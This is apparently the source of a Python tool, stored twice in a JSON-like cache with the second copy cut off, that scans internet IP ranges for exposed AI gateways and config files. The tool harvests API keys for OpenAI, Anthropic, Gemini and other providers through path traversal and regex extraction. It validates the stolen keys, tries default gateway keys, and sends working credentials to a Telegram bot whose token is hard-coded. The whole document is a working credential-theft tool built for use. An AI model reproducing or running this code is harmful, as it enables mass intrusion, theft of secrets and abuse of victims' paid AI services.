MANAGEMENT\n# ═══════════════════════════════════════════════════════════════\n\ndef load_seen_ips() -> set:\n if Path(SEEN_IPS_FILE).exists():\n try:\n return set(json.load(open(SEEN_IPS_FILE)))\n except:\n return set()\n return set()\n\n\ndef save_seen_ips(seen: set):\n json.dump(list(seen), open(SEEN_IPS_FILE, 'w'))\n\n\ndef load_seen_keys() -> set:\n if Path(SEEN_KEYS_FILE).exists():\n try:\n return set(json.load(open(SEEN_KEYS_FILE)))\n except:\n return set()\n return set()\n\n\ndef save_seen_keys(seen: set):\n json.dump(list(seen), open(SEEN_KEYS_FILE, 'w'))\n\n\ndef load_found_keys() -> list:\n if Path(FOUND_KEYS_FILE).exists():\n try:\n return json.load(open(FOUND_KEYS_FILE))\n except:\n return []\n return []\n\n\ndef save_found_key(entry: dict):\n keys = load_found_keys()\n keys.append(entry)\n json.dump(keys, open(FOUND_KEYS_FILE, 'w'), indent=2)\n\n\ndef load_found_gates() -> list:\n if Path(FOUND_GATES_FILE).exists():\n try:\n return json.load(open(FOUND_GATES_FILE))\n except:\n return []\n return []\n\n\ndef save_found_gate(entry: dict):\n gates = load_found_gates()\n gates.append(entry)\n json.dump(gates, open(FOUND_GATES_FILE, 'w'), indent=2)\n\n\ndef append_log(entry: dict):\n with open(SCAN_LOG, 'a') as f:\n f.write(json.dumps(entry, default=str) + '\\n')\n\n\n# ═══════════════════════════════════════════════════════════════\n# NIANSUH CONFIG FILE PATHS\n# ═══════════════════════════════════════════════════════════════\n\nNIANSUH_PATHS = [\n '/.env',\n '/.env.local',\n '/.env.production',\n '/.env.development',\n '/server.js',\n '/config.js',\n '/app.config.js',\n '/next.config.js',\n '/api/config',\n '/api/settings',\n '/ecosystem.config.js',\n '/package.json',\n '/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ?raw??',\n '/@fs/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd?raw??',\n '/src/config.js',\n '/src/server.js',\n '/lib/config.js',\n '/lib/server.js',\n '/config.json',\n '/settings.json',\n '/app.js',\n '/data/config.json',\n '/api/v1/config',\n '/api/v1/settings',\n '/config/env.js',\n '/.npmrc',\n '/.yarnrc',\n '/tsconfig.json',\n '/vite.config.ts',\n '/vite.config.js',\n '/webpack.config.js',\n]\n\n\n# ═══════════════════════════════════════════════════════════════\n# KEY EXTRACTION REGEX\n# ═══════════════════════════════════════════════════════════════\n\nKEY_PATTERNS = [\n (r'sk-or-v1-[a-zA-Z0-9]{64}', 'OpenRouter'),\n (r'sk-ant-api03-[a-zA-Z0-9_\\\\-]{95,}', 'Anthropic'),\n (r'sk-proj-[a-zA-Z0-9_\\\\-]{80,}', 'OpenAI'),\n (r'sk-svcacct-[a-zA-Z0-9_\\\\-]{80,}', 'OpenAI'),\n (r'sk-[a-f0-9]{32}', 'DeepSeek'),\n (r'sk-[a-zA-Z0-9]{48,}', 'OpenAI_Legacy'),\n (r'sk-[a-zA-Z0-9]{20,47}', 'Generic_OpenAI'),\n (r'AIzaSy[a-zA-Z0-9_\\\"]{33}', 'Gemini'),\n (r'hf_[a-zA-Z0-9]{34}', 'HuggingFace'),\n (r'xai-[a-zA-Z0-9]{20,}', 'xAI'),\n (r'gsk_[a-zA-Z0-9]{20,}', 'Groq'),\n (r'OPENAI_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'OpenAI_env'),\n (r'ANTHROPIC_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Anthropic_env'),\n (r'GEMINI_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Gemini_env'),\n (r'DEEPSEEK_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'DeepSeek_env'),\n (r'LITELLM_MASTER_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{8,})', 'LiteLLM'),\n (r'api[_-]?key[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Generic_API'),\n]\n\nFAKE_KEYS = {\n 'sk-1234', 'sk-1234567890', 'sk-', 'sk-your', 'sk-xxx',\n 'sk-key', 'sk-test', 'sk-demo', 'sk-example',\n}\n\n\ndef is_fake_key(k: str) -> bool:\n if not k or len(k) < 8:\n return True\n k_lower = k.lower().strip()\n for fake in FAKE_KEYS:\n if k_lower == fake or k_lower.startswith(fake):\n return True\n return False\n\n\ndef extract_keys(text: str) -> list:\n found = []\n seen = set()\n for pattern, key_type in KEY_PATTERNS:\n for m in re.finditer(pattern, text, re.IGNORECASE):\n val = m.group(1) if m.lastindex else m.group(0)\n val = val.strip().strip('\"').strip(\"'\")\n if is_fake_key(val) or val in seen:\n continue\n seen.add(val)\n found.append({'type': key_type, 'value': val, 'source': m.group(0)[:80]})\n return found\n\n\n# ═══════════════════════════════════════════════════════════════\n# LLM GATEWAY CONFIGS\n# ═══════════════════════════════════════════════════════════════\n\nLITE_LLM_KEYS = ['', 'sk-1234', 'sk-1234567890', 'sk-111111111111111111111111111111111111111111111111']\nOLLAMA_KEYS = ['', 'ollama', 'sk-ollama']\nVLLM_KEYS = ['', 'EMPTY']\nLOCALAI_KEYS = ['', 'localai', 'sk-localai']\n\nGATE_CONFIGS = {\n 'LiteLLM': {\n 'ports': [4000, 4001, 8000],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LITE_LLM_KEYS,\n 'model_field': 'data[].id',\n },\n 'Ollama': {\n 'ports': [11434, 3000],\n 'models_path': '/api/tags',\n 'chat_path': '/api/generate',\n 'alt_chat_path': '/v1/chat/completions',\n 'keys': OLLAMA_KEYS,\n 'model_field': 'models[].name',\n },\n 'vLLM': {\n 'ports': [8000, 8001, 8080],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': VLLM_KEYS,\n 'model_field': 'data[].id',\n },\n 'LocalAI': {\n 'ports': [8080, 9000, 8000],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LOCALAI_KEYS,\n 'model_field': 'data[].id',\n },\n 'OpenWebUI': {\n 'ports': [3000, 8080],\n 'models_path': '/api/models',\n 'chat_path': '/api/chat/completions',\n 'keys': [''],\n 'model_field': 'data[].id',\n },\n 'Generic': {\n 'ports': [3000, 4000, 8000, 8080, 9000, 11434, 80],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LITE_LLM_KEYS,\n 'model_field': 'data[].id',\n },\n}\n\n\ndef parse_models(data, field_path):\n models = []\n if not data:\n return models\n if field_path == 'models[].name' and isinstance(data, dict):\n for item in data.get('models', []):\n if isinstance(item, dict):\n n = item.get('name') or item.get('id', '')\n if n:\n models.append(str(n))\n elif field_path == 'data[].id':\n for item in data.get('data', []):\n if isinstance(item, dict):\n n = item.get('id') or item.get('name', '')\n if n:\n models.append(str(n))\n if not models:\n for key in ['data', 'models', 'result']:\n arr = data.get(key, [])\n if isinstance(arr, list):\n for item in arr:\n if isinstance(item, dict):\n n = item.get('id') or item.get('name', '')\n if n:\n models.append(str(n))\n return models[:100]\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 1: SCAN PORT 3000 (NIANSUH CONFIG FILES)\n# ═══════════════════════════════════════════════════════════════\n\nasync def scan_niansuh_target(session, ip, port, sem):\n '''Scan one IP on all Niansuh config paths. Returns list of found key entries.'''\n base = f'http://{ip}:{port}'\n results = []\n\n async with sem:\n for path in NIANSUH_PATHS:\n try:\n url = base + path\n async with session.get(url, ssl=False, timeout=SCAN_TIMEOUT) as resp:\n if resp.status != 200:\n continue\n text = await resp.text(errors='replace')\n if len(text) < 20:\n continue\n keys = extract_keys(text)\n for k in keys:\n results.append({\n 'ip': ip,\n 'port': port,\n 'source_path': path,\n 'source_url': url,\n 'key_type': k['type'],\n 'key_value': k['value'],\n 'ts': datetime.now().isoformat(),\n })\n if keys:\n break # Found on this path, move to next IP\n except Exception:\n pass\n\n return results\n\n\nasync def run_niansuh_scan(targets: list, concurrent: int = 150) -> list:\n print(f'\\n[NIANSUH] Scanning {len(targets)} targets on port 3000...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)\n all_keys = []\n seen_keys = load_seen_keys()\n done = 0\n\n async with aiohttp.ClientSession(timeout=SCAN_TIMEOUT, connector=connector) as sess:\n coros = [scan_niansuh_target(sess, t['ip'], t['port'], sem) for t in targets]\n for coro in asyncio.as_completed(coros):\n results = await coro\n all_keys.extend(results)\n done += 1\n if done % 200 == 0:\n print(f' [{done}/{len(targets)}] keys_so_far={len(all_keys)}')\n\n # Filter to new keys only\n new_keys = [k for k in all_keys if k['key_value'] not in seen_keys]\n for k in new_keys:\n seen_keys.add(k['key_value'])\n save_seen_keys(seen_keys)\n\n print(f' Found {len(all_keys)} total, {len(new_keys)} new')\n return new_keys\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 2: VALIDATE API KEYS\n# ═══════════════════════════════════════════════════════════════\n\nVALIDATORS = {\n 'OpenAI': {\n 'endpoint': 'https://api.openai.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'Anthropic': {\n 'endpoint': 'https://api.anthropic.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'OpenRouter': {\n 'endpoint': 'https://openrouter.ai/api/v1/models',\n 'header': '',\n 'prefix': '',\n },\n 'Gemini': {\n 'endpoint': None, # Uses query param ?key=\n 'header': '',\n 'prefix': '',\n },\n 'DeepSeek': {\n 'endpoint': 'https://api.deepseek.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'HuggingFace': {\n 'endpoint': 'https://huggingface.co/api/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n}\n\n\nasync def validate_key(session, key_entry: dict, sem) -> dict:\n '''Validate an API key by hitting the provider's models endpoint.'''\n k_type = key_entry.get('key_type', '')\n k_val = key_entry.get('key_value', '')\n result = {**key_entry, 'status': 'untested', 'models': [], 'validated_at': datetime.now().isoformat()}\n\n # Map key type to validator\n provider = k_type.split('_')[0] if '_' in k_type else k_type\n if provider not in VALIDATORS and k_type not in VALIDATORS:\n provider = 'OpenAI' # Default\n\n validator_key = k_type if k_type in VALIDATORS else provider\n if validator_key not in VALIDATORS:\n validator_key = provider if provider in VALIDATORS else 'OpenAI'\n val_config = VALIDATORS.get(validator_key, VALIDATORS['OpenAI'])\n\n async with sem:\n try:\n endpoint = val_config['endpoint']\n header = val_config['header']\n prefix = val_config['prefix']\n\n if validator_key == 'Gemini':\n # Gemini uses API key in query param\n ep = f'https://generativelanguage.googleapis.com/v1beta/models?key={k_val}'\n headers = {}\n elif validator_key == 'OpenRouter':\n # OpenRouter doesn't require auth for model list\n ep = endpoint\n headers = {}\n else:\n ep = endpoint\n headers = {'Content-Type': 'application/json'}\n if header:\n headers[header] = f'{prefix}{k_val}'\n\n async with session.get(ep, headers=headers, timeout=KEY_VALIDATE_TIMEOUT) as resp:\n if resp.status == 200:\n data = await resp.json()\n models = []\n if validator_key == 'OpenAI' or validator_key == 'DeepSeek':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n elif validator_key == 'Anthropic':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n elif validator_key == 'Gemini':\n models = [m.get('name', '').replace('models/', '') for m in data.get('models', [])[:50]]\n elif validator_key == 'OpenRouter':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n result['status'] = 'valid'\n result['models'] = models\n elif resp.status == 401:\n result['status'] = 'invalid'\n else:\n result['status'] = f'http_{resp.status}'\n\n except asyncio.TimeoutError:\n result['status'] = 'timeout'\n except Exception as e:\n result['status'] = f'error_{str(e)[:30]}'\n\n return result\n\n\nasync def run_key_validation(keys: list, concurrent: int = 30) -> list:\n if not keys:\n return []\n print(f'\\n[KEY_VALIDATE] Validating {len(keys)} keys...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=True, enable_cleanup_closed=True)\n validated = []\n\n async with aiohttp.ClientSession(timeout=KEY_VALIDATE_TIMEOUT, connector=connector) as sess:\n coros = [validate_key(sess, k, sem) for k in keys]\n for coro in asyncio.as_completed(coros):\n r = await coro\n validated.append(r)\n if r['status'] == 'valid':\n print(f' [VALID] {r[\"key_type\"]}: {r[\"key_value\"][:40]}... ({len(r[\"models\"])} models)')\n\n return validated\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 3: LLM GATEWAY DETECTION\n# ═══════════════════════════════════════════════════════════════\n\nasync def test_lite_llm_gate(session, ip, port, sem) -> dict | None:\n '''Test a LiteLLM gateway with default key.'''\n base = f'http://{ip}:{port}'\n result = {\n 'ip': ip,\n 'port': port,\n 'framework': 'LiteLLM',\n 'working_key': None,\n 'models': [],\n 'status': 'failed',\n }\n\n async with sem:\n for key in LITE_LLM_KEYS:\n headers = {'Content-Type': 'application/json'}\n if key:\n headers['Authorization'] = f'Bearer {key}'\n\n try:\n # Test models endpoint\n async with session.get(f'{base}/v1/models', headers=headers, ssl=False, timeout=AUTH_TIMEOUT) as resp:\n if resp.status == 200:\n try:\n data = await resp.json(content_type=None)\n models = parse_models(data, 'data[].id')\n if models:\n result['working_key'] = key if key else '(no-auth)'\n result['models'] = models\n result['status'] = 'models_found'\n return result\n except:\n pass\n elif resp.status == 401:\n continue\n except Exception:\n pass\n\n return result\n\n\nasync def test_generic_gate(session, ip, port, sem) -> dict | None:\n '''Test a generic OpenAI-compatible gateway.'''\n base = f'http://{ip}:{port}'\n result = {\n 'ip': ip,\n 'port': port,\n 'framework': 'Generic',\n 'working_key': None,\n 'models': [],\n 'status': 'failed',\n }\n\n async with sem:\n for key in LITE_LLM_KEYS:\n headers = {'Content-Type': 'application/json'}\n if key:\n headers['Authorization'] = f'Bearer {key}'\n\n try:\n async with session.get(f'{base}/v1/models', headers=headers, ssl=False, timeout=AUTH_TIMEOUT) as resp:\n if resp.status == 200:\n try:\n data = await resp.json(content_type=None)\n models = parse_models(data, 'data[].id')\n if models:\n result['working_key'] = key if key else '(no-auth)'\n result['models'] = models\n result['status'] = 'models_found'\n return result\n except:\n pass\n elif resp.status == 401:\n continue\n except Exception:\n pass\n\n return result\n\n\nasync def run_gate_detection(targets: list, concurrent: int = 100) -> list:\n print(f'\\n[GATE_DETECT] Testing {len(targets)} LLM gateways...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)\n results = []\n done = 0\n\n async with aiohttp.ClientSession(timeout=AUTH_TIMEOUT, connector=connector) as sess:\n coros = []\n for t in targets:\n if t.get('port') in [4000, 4001, 8000]:\n coros.append(test_lite_llm_gate(sess, t['ip'], t['port'], sem))\n else:\n coros.append(test_generic_gate(sess, t['ip'], t['port'], sem))\n\n for coro in asyncio.as_completed(coros):\n r = await coro\n if r and r.get('status') == 'models_found':\n results.append(r)\n done += 1\n if done % 100 == 0:\n print(f' [{done}/{len(targets)}] working_gates={len(results)}')\n\n print(f' Working gates: {len(results)}')\n return results\n\n\n# ═══════════════════════════════════════════════════════════════\n# TELEGRAM REPORTER\n# ═══════════════════════════════════════════════════════════════\n\nasync def report_key(key_entry: dict):\n '''Send validated key to Telegram group.'''\n provider = classify_provider(key_entry['key_type'], key_entry['key_value'])\n msg = format_key_message(\n provider=provider,\n key_value=key_entry['key_value'],\n source_url=key_entry.get('source_url', f\"http://{key_entry['ip']}:{key_entry['port']}{key_entry.get('source_path','/')}\"),\n models=key_entry.get('models', []),\n key_type=key_entry.get('key_type', 'api_key'),\n )\n ok = await send_telegram(msg)\n if ok:\n print(f' [TG SENT] {provider} key to Telegram')\n return ok\n\n\nasync def report_gate(gate_entry: dict):\n '''Send working LLM gateway to Telegram group.'''\n msg = format_gate_message(\n ip=gate_entry['ip'],\n port=gate_entry['port'],\n framework=gate_entry.get('framework', 'LiteLLM'),\n working_key=gate_entry.get('working_key', ''),\n models=gate_entry.get('models', []),\n )\n ok = await send_telegram(msg)\n if ok:\n print(f\" [TG SENT] {gate_entry['framework']} gate to Telegram\")\n return ok\n\n\ndef classify_provider(key_type: str, key_value: str) -> str:\n '''Classify key by its value format.'''\n v = key_value.strip()\n if v.startswith('AIzaSy'):\n return 'Gemini'\n if v.startswith('sk-or-v1-'):\n return 'OpenRouter'\n if v.startswith('sk-ant-api03-'):\n return 'Anthropic'\n if v.startswith('sk-proj-'):\n return 'OpenAI'\n if v.startswith('sk-svcacct-'):\n return 'OpenAI'\n if v.startswith('hf_'):\n return 'HuggingFace'\n if v.startswith('sk-') and len(v) == 35 and all(c in 'abcdef0123456789' for c in v[3:]):\n return 'DeepSeek'\n if v.startswith('sk-'):\n return 'OpenAI'\n if key_type in ('OpenRouter', 'Anthropic', 'Gemini', 'DeepSeek', 'HuggingFace'):\n return key_type\n return 'API_Key'\n\n\n# ═══════════════════════════════════════════════════════════════\n# MAIN INFINITE LOOP\n# ═══════════════════════════════════════════════════════════════\n\nasync def infinite_loop(args):\n '''Main infinite scanning loop.'''\n cycle = 0\n total_keys_found = 0\n total_gates_found = 0\n\n print(f\"\\n{'='*70}\")\n print(f' INFINITE LLM SCANNER')\n print(f' Output: {OUTPUT_DIR}')\n print(f' Telegram: {TELEGRAM_CHAT_ID}')\n print(f\" Mode: {'NIANSUH_ONLY' if args.niansuh_only else ('GATE_ONLY' if args.gate_only else 'FULL')}\")\n print(f\"{'='*70}\\n\")\n\n while True:\n cycle += 1\n cycle_start = time.time()\n print(f'\\n[{'='*60}]')\n print(f\" CYCLE {cycle} — {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\")\n print(f\"[{'='*60}]\")\n\n try:\n # ── Generate IP batch ──\n targets = []\n \n # Option 1: ZMap scan for fresh IPs\n if getattr(args, 'zmap', False):\n print(f'\\n[ZMAP] Starting port scan...')\n ports_str = getattr(args, 'zmap_ports', '3000,4000,8000')\n ports = [int(p.strip()) for p in ports_str.split(',')]\n bandwidth = getattr(args, 'zmap_bandwidth', '10M')\n \n zmap_results = scan_ports_with_zmap(\n ports=ports,\n batch_size=IPS_PER_BATCH,\n bandwidth=bandwidth\n )\n \n # Convert ZMap results to targets\n targets = zmap_to_targets(zmap_results)\n print(f' ZMap collected {len(targets)} total targets')\n \n # Option 2: Fall back to generated IPs from cloud ranges\n if not targets:\n print(f'\\n[GENERATE] Building IP batch from cloud ranges...')\n targets = generate_ip_batch(count=IPS_PER_BATCH)\n print(f' Generated {len(targets)} new targets')\n\n # ── Phase 1: Niansuh Config Scan ──\n if not args.gate_only:\n keys = await run_niansuh_scan(targets, concurrent=SCAN_CONCURRENT)\n if keys:\n # ── Validate keys ──\n validated = await run_key_validation(keys, concurrent=30)\n valid_keys = [v for v in validated if v['status'] == 'valid']\n\n for vk in valid_keys:\n save_found_key(vk)\n await report_key(vk)\n total_keys_found += 1\n print(f\" [*] NEW WORKING KEY: {vk['key_type']} from {vk['ip']}\")\n\n print(f' Valid keys this cycle: {len(valid_keys)}/{len(keys)}')\n print(f' Total keys found: {total_keys_found}')\n\n # ── Phase 2: LLM Gateway Scan ──\n if not args.niansuh_only:\n # For gate detection, also use targets but on various ports\n gate_targets = [\n {'ip': t['ip'], 'port': 4000}\n for t in targets[:500] # Subset for gates\n ]\n # Add some port 3000 targets too\n gate_targets += [\n {'ip': t['ip'], 'port': 3000}\n for t in targets[:200]\n ]\n\n gates = await run_gate_detection(gate_targets, concurrent=AUTH_CONCURRENT)\n for g in gates:\n save_found_gate(g)\n await report_gate(g)\n total_gates_found += 1\n print(f\" [*] NEW WORKING GATE: {g['framework']} at {g['ip']}:{g['port']} key={g['working_key']}\")\n\n print(f' Gates this cycle: {len(gates)}')\n print(f' Total gates found: {total_gates_found}')\n\n except Exception as e:\n print(f'\\n [ERROR] Cycle {cycle} failed: {e}')\n import traceback\n traceback.print_exc()\n\n cycle_time = time.time() - cycle_start\n print(f'\\n Cycle {cycle} done in {cycle_time:.1f}s')\n print(f' Sleeping {CYCLE_SLEEP}s before next cycle...')\n\n # Save state\n state = {\n 'cycle': cycle,\n 'total_keys': total_keys_found,\n 'total_gates': total_gates_found,\n 'last_run': datetime.now().isoformat(),\n }\n json.dump(state, open(STATE_FILE, 'w'), indent=2)\n\n await asyncio.sleep(CYCLE_SLEEP)\n\n\n# ═══════════════════════════════════════════════════════════════\n# MAIN\n# ═══════════════════════════════════════════════════════════════\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Infinite LLM Gateway + Key Scanner')\n parser.add_argument('--test', action='store_true', help='Test mode (1 cycle only)')\n parser.add_argument('--niansuh-only', action='store_true', help='Only scan config files')\n parser.add_argument('--gate-only', action='store_true', help='Only test LLM gateways')\n parser.add_argument('--batch-size', type=int, default=3000, help='IPs per cycle')\n parser.add_argument('--zmap', action='store_true', help='Use ZMap to scan for open ports')\n parser.add_argument('--zmap-ports', type=str, default='3000,4000,8000',\n help='Comma-separated ports for ZMap scan (default: 3000,4000,8000)')\n parser.add_argument('--zmap-bandwidth', type=str, default='10M',\n help='ZMap bandwidth limit (default: 10M)')\n args = parser.parse_args()\n\n IPS_PER_BATCH = args.batch_size\n\n # Check ZMap availability if --zmap flag used\n if args.zmap:\n if not is_zmap_available():\n print('[ERROR] ZMap not found! Install from: https://github.com/zmap/zmap')\n print(' Ubuntu/Debian: sudo apt install zmap')\n print(' macOS: brew install zmap')\n print(' From source: git clone https://github.com/zmap/zmap.git')\n sys.exit(1)\n print(f'[ZMAP] Enabled - will scan ports: {args.zmap_ports}')\n\n if args.test:\n # Run one cycle only\n print('[TEST MODE] Running single cycle...')\n asyncio.run(infinite_loop(args))\n else:\n # Infinite loop\n print('[INFINITE MODE] Starting infinite loop (Ctrl+C to stop)...')\n try:\n asyncio.run(infinite_loop(args))\n except KeyboardInterrupt:\n print('\\n\\n[STOPPED] Scanner stopped by user.')\n print(f'State saved to: {STATE_FILE}')\n sys.exit(0)"}, "9a25f884d6627c24ff94c9749b9a6aaf436654b4": {"t": 1785773489.7661726, "n": 44660, "h": "2d550b7d59042ad3", "c": "#!/usr/bin/env python3\nr'''\nINFINITE LLM GATEWAY + KEY SCANNER\n==================================\nLong-running scanner for VM deployment.\nFeatures:\n 1. IP Generator - builds target list from port_4000.json + random IP generation\n 2. Niansuh Config Scanner - port 3000 config file key extraction\n 3. LLM Gateway Tester - tests LiteLLM (sk-1234), Ollama, vLLM, etc.\n 4. API Key Validator - verifies extracted keys against real provider APIs\n 5. Telegram Reporter - sends ONLY working keys to group\n\nTelegram:\n Bot: 8698804293:AAGO2c3O7tIqNmGS5Nkkc2RB2-0EVBoLfEs\n Group: -1003732431449\n\nUsage:\n python infinite_scanner.py # Full infinite run\n python infinite_scanner.py --test # Test mode (small sample)\n python infinite_scanner.py --niansuh-only # Only scan config files\n python infinite_scanner.py --gate-only # Only test LLM gateways\n'''\n\nimport asyncio\nimport aiohttp\nimport json\nimport os\nimport re\nimport sys\nimport time\nimport random\nimport argparse\nimport ipaddress\nfrom datetime import datetime\nfrom pathlib import Path\nfrom collections import defaultdict, Counter\n\n# ═══════════════════════════════════════════════════════════════\n# CONFIG\n# ═══════════════════════════════════════════════════════════════\n\nBASE_DIR = Path(__file__).parent.resolve()\nOUTPUT_DIR = BASE_DIR / 'scan_output'\nOUTPUT_DIR.mkdir(exist_ok=True)\n\nSTATE_FILE = OUTPUT_DIR / 'scan_state.json'\nSEEN_KEYS_FILE = OUTPUT_DIR / 'seen_keys.json'\nSEEN_IPS_FILE = OUTPUT_DIR / 'seen_ips.json'\nFOUND_KEYS_FILE = OUTPUT_DIR / 'found_working_keys.json'\nFOUND_GATES_FILE = OUTPUT_DIR / 'found_working_gates.json'\nSCAN_LOG = OUTPUT_DIR / 'scan_log.jsonl'\n\n# Telegram config\nTELEGRAM_BOT_TOKEN = '8698804293:AAGO2c3O7tIqNmGS5Nkkc2RB2-0EVBoLfEs'\nTELEGRAM_CHAT_ID = '-1003732431449'\n\n# Concurrency\nSCAN_CONCURRENT = 150\nAUTH_CONCURRENT = 100\nCHAT_CONCURRENT = 60\n\n# Timeouts\nSCAN_TIMEOUT = aiohttp.ClientTimeout(total=8, connect=3)\nAUTH_TIMEOUT = aiohttp.ClientTimeout(total=8, connect=3)\nCHAT_TIMEOUT = aiohttp.ClientTimeout(total=25, connect=5)\nKEY_VALIDATE_TIMEOUT = aiohttp.ClientTimeout(total=30, connect=5)\n\n# Cycle sleep (seconds between IP batch scans)\nCYCLE_SLEEP = 60\n\n# Batch sizes\nIPS_PER_BATCH = 3000\nNIANSUH_PATHS_PER_TARGET = 18\n\n# ═══════════════════════════════════════════════════════════════\n# TELEGRAM\n# ═══════════════════════════════════════════════════════════════\n\nasync def send_telegram(message: str, bot_token: str = TELEGRAM_BOT_TOKEN,\n chat_id: str = TELEGRAM_CHAT_ID) -> bool:\n url = f'https://api.telegram.org/bot{bot_token}/sendMessage'\n payload = {'chat_id': chat_id, 'text': message, 'parse_mode': 'HTML'}\n try:\n async with aiohttp.ClientSession() as sess:\n async with sess.post(url, json=payload, timeout=aiohttp.ClientTimeout(total=10)) as resp:\n return resp.status == 200\n except Exception as e:\n print(f' [TG ERROR] {e}')\n return False\n\n\ndef format_key_message(provider: str, key_value: str, source_url: str,\n models: list, key_type: str = 'api_key') -> str:\n '''Format a key find message exactly like Niansuh's format.'''\n model_list = '\\n'.join(f'{m}' for m in models[:20])\n extra = f'... +{len(models)-20} more' if len(models) > 20 else ''\n return f'''🔑 KEY FOUND — {provider}\n━━━━━━━━━━━━━━━━━━━━━━\n🏷 Provider: {provider}\n🔐 Key: {key_value}\n🌐 Source: {source_url}\n🤖 Models ({len(models)}):\n{model_list}{extra}\n━━━━━━━━━━━━━━━━━━━━━━'''\n\n\ndef format_gate_message(ip: str, port: int, framework: str, working_key: str,\n models: list, source: str = '') -> str:\n model_list = '\\n'.join(f'{m}' for m in models[:20])\n extra = f'... +{len(models)-20} more' if len(models) > 20 else ''\n key_display = working_key if working_key else '(no-auth)'\n return f'''🅰️ LLM GATE FOUND — {framework}\n━━━━━━━━━━━━━━━━━━━━━━\n🌐 Endpoint: http://{ip}:{port}\n🔑 Key: {key_display}\n🏷 Framework: {framework}\n🤖 Models ({len(models)}):\n{model_list}{extra}\n━━━━━━━━━━━━━━━━━━━━━━'''\n\n\n# ═══════════════════════════════════════════════════════════════\n# IP GENERATOR\n# ═══════════════════════════════════════════════════════════════\n\n# Cloud provider IP ranges for targeted scanning\nCLOUD_RANGES = [\n # AWS\n ('3.0.0.0', '3.255.255.255'),\n ('18.0.0.0', '18.255.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('54.0.0.0', '54.255.255.255'),\n ('35.0.0.0', '35.255.255.255'),\n ('44.0.0.0', '44.255.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('54.0.0.0', '54.255.255.255'),\n # Azure\n ('13.64.0.0', '13.255.255.255'),\n ('20.0.0.0', '20.255.255.255'),\n ('40.0.0.0', '40.127.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('104.0.0.0', '104.255.255.255'),\n ('108.0.0.0', '108.255.255.255'),\n # Google Cloud\n ('34.0.0.0', '34.255.255.255'),\n ('35.0.0.0', '35.255.255.255'),\n ('104.0.0.0', '104.255.255.255'),\n ('142.0.0.0', '142.255.255.255'),\n # DigitalOcean\n ('64.0.0.0', '64.255.255.255'),\n ('128.0.0.0', '128.255.255.255'),\n ('138.0.0.0', '138.255.255.255'),\n ('159.0.0.0', '159.255.255.255'),\n ('165.0.0.0', '165.255.255.255'),\n ('167.0.0.0', '167.255.255.255'),\n ('170.0.0.0', '170.255.255.255'),\n ('188.0.0.0', '188.255.255.255'),\n ('192.0.0.0', '192.255.255.255'),\n ('193.0.0.0', '193.255.255.255'),\n ('194.0.0.0', '194.255.255.255'),\n ('195.0.0.0', '195.255.255.255'),\n # Hetzner\n ('5.0.0.0', '5.255.255.255'),\n ('6.0.0.0', '6.255.255.255'),\n ('7.0.0.0', '7.255.255.255'),\n ('9.0.0.0', '9.255.255.255'),\n ('10.0.0.0', '10.255.255.255'),\n # OVH\n ('51.0.0.0', '51.255.255.255'),\n ('57.0.0.0', '57.255.255.255'),\n ('87.0.0.0', '87.255.255.255'),\n ('91.0.0.0', '91.255.255.255'),\n ('92.0.0.0', '92.255.255.255'),\n ('93.0.0.0', '93.255.255.255'),\n ('94.0.0.0', '94.255.255.255'),\n ('95.0.0.0', '95.255.255.255'),\n ('141.0.0.0', '141.255.255.255'),\n ('147.0.0.0', '147.255.255.255'),\n # Other popular\n ('45.0.0.0', '45.255.255.255'),\n ('46.0.0.0', '46.255.255.255'),\n ('47.0.0.0', '47.255.255.255'),\n ('62.0.0.0', '62.255.255.255'),\n ('65.0.0.0', '65.255.255.255'),\n ('66.0.0.0', '66.255.255.255'),\n ('72.0.0.0', '72.255.255.255'),\n ('74.0.0.0', '74.255.255.255'),\n ('75.0.0.0', '75.255.255.255'),\n ('76.0.0.0', '76.255.255.255'),\n ('77.0.0.0', '77.255.255.255'),\n ('78.0.0.0', '78.255.255.255'),\n ('79.0.0.0', '79.255.255.255'),\n ('80.0.0.0', '80.255.255.255'),\n ('81.0.0.0', '81.255.255.255'),\n ('82.0.0.0', '82.255.255.255'),\n ('83.0.0.0', '83.255.255.255'),\n ('84.0.0.0', '84.255.255.255'),\n ('85.0.0.0', '85.255.255.255'),\n ('86.0.0.0', '86.255.255.255'),\n ('89.0.0.0', '89.255.255.255'),\n ('103.0.0.0', '103.255.255.255'),\n ('107.0.0.0', '107.255.255.255'),\n ('113.0.0.0', '113.255.255.255'),\n ('114.0.0.0', '114.255.255.255'),\n ('115.0.0.0', '115.255.255.255'),\n ('116.0.0.0', 